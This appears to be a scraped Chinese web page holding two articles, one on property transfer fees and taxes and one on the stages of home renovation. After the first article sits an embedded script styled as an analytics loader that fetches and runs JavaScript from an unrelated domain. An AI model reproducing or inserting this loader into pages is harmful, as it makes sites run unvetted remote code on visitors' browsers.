关于买房子过户费你需要知道的小知识

​关于买房子过户费你需要知道的小知识房子过户顾名思义，就是房子的所属权从一个人转变为另一个人的，一般都是在相关行政部门进行。这个过程大家都知道，但这一过程都伴随着相关费用的发生，也就是过户费。那么你知道买房子过户费一般需要多少钱吗？由谁出呢？下面我们就一起来了解一下。 一、应缴纳税费的计算买房子过户费一般包括契税、印花税等一系列税费。一般来说，契税是房款的1.5%，但是大面积的房型（144平米以上）需要交纳房款的3%，而是首套房并且小面积房型（90平米以下）的，只需交纳房款的1%。印花税一般按房款的0.05%交纳，交易费则是按面积平均计算，一般为每平米3元，测绘费和交易费一样，一般为每平米1.36元。最后一项权属登记费及取证费，一般一次性交纳，不超过200元。 二、谁来交纳费用房子过户一般发生在买卖、赠与、转让以及遗产继承等情况下。买房子过户费国家规定是双方交纳，也就是买卖双方都有，一般是买方出钱，但是可以买卖双方商议进行，这要看是在何种背景下进行的房子过户。此外，二手房和新房税率费率都有所不同。二手房税费大约是报税价的8%，其他都参照第一条计算。但是营业税方面，二手房房产证大于五年的可以免除交税。以上就是关于买房子过户费你需要了解的一些小知识，关于买卖房屋不只是表面看起来那么简单，里面需要计算的费用还有很多。当然了，这里只是简要加以概况介绍，如果想要对买房子过户费了解的更全面细致，不妨去当地的房产登记中心问问相关工作人员。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://www.jamuntea.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();

新房子装修的流程是怎样的？弄清楚了再装修！

首次装修对于大部分人来说都是陌生的，对于装修流程和装修知识的不了解，导致了很多人在装修时往往会出现各种各样的状况。所以在装修房子前，先要对整个流程有一个大致的了解，知道各流程的先后顺序，有所准备才不会手忙脚乱。下面一起看看装修的整体流程吧!1、物业审批&技术交底开工前需要到物业办理装修许可等手续，填写表格内容是装修的基本信息，相关负责人，会交纳押金，需要办理出入证(施工方进入小区使用，费用施工方自理)。接下来是技术交底，甲方代表、乙方施工方、设计师、监理一起核对现场项目，确认装修细节。然后材料进场，需要甲乙双方验收签字确认，开始施工。2、水电改造进场第一道工序是水电改造，工期需要3~7天(视改造项目的多少)，完工回填时水路需要打压测试，电路需要通电验收。3、瓦工/木工根据地区、工艺的差异，瓦工和木工是第二阶段，至于谁先谁后根据具体情况定。防水和基层处理也会在此阶段交叉进行，瓦工一般工期在7~30天(浮动较大，一些需要拼花斜铺的工期会很长)，木工部分现在都做得少，工期一般7~20天。做好同样要验收，包括工程量核对。4、油漆油漆是装修的最后一步，包括墙顶面乳胶漆和木器漆部分，就是表面工程。这个阶段开始前一般需要交纳中期款，按照合同或约定的比例结清之前工程部分的款项。此部分工程结束后，工人可以撤离现场，做保洁、垃圾清运以及后续的物件采购工作。5、安装装修完了，只能算入住前工作进行到2/3或一半。接下来需要安装洁具、橱柜、灯具、开关插座面板、室内门、定制的衣柜、五金件、地板等等。如果一些工作需要装饰公司安装，此阶段完成后需要结清所有款项，搬家后如果出现墙面磕碰或裂缝联系施工方找补保修。简单的分，装修就是以上五的大流程，拆分下来，可以分为下面21个步骤，但是各个流程依然可以细分下来很多的项目，所以在装修时，大家也要做详细的了解。1、前期设计--2、主体拆改--3、水电改造--4、木工--5、贴砖--6、刷墙面漆--7、热水器安装--8、厨卫吊顶--9、橱柜安装--10、烟机灶安装--11、木门安装--12、地板安装--13、铺贴壁纸--14、开关插座安装--15、灯具安装--16、五金洁具安装--17、窗帘杆安装--18、拓荒保洁--19、家具进场--20、家电安装--21、家居配饰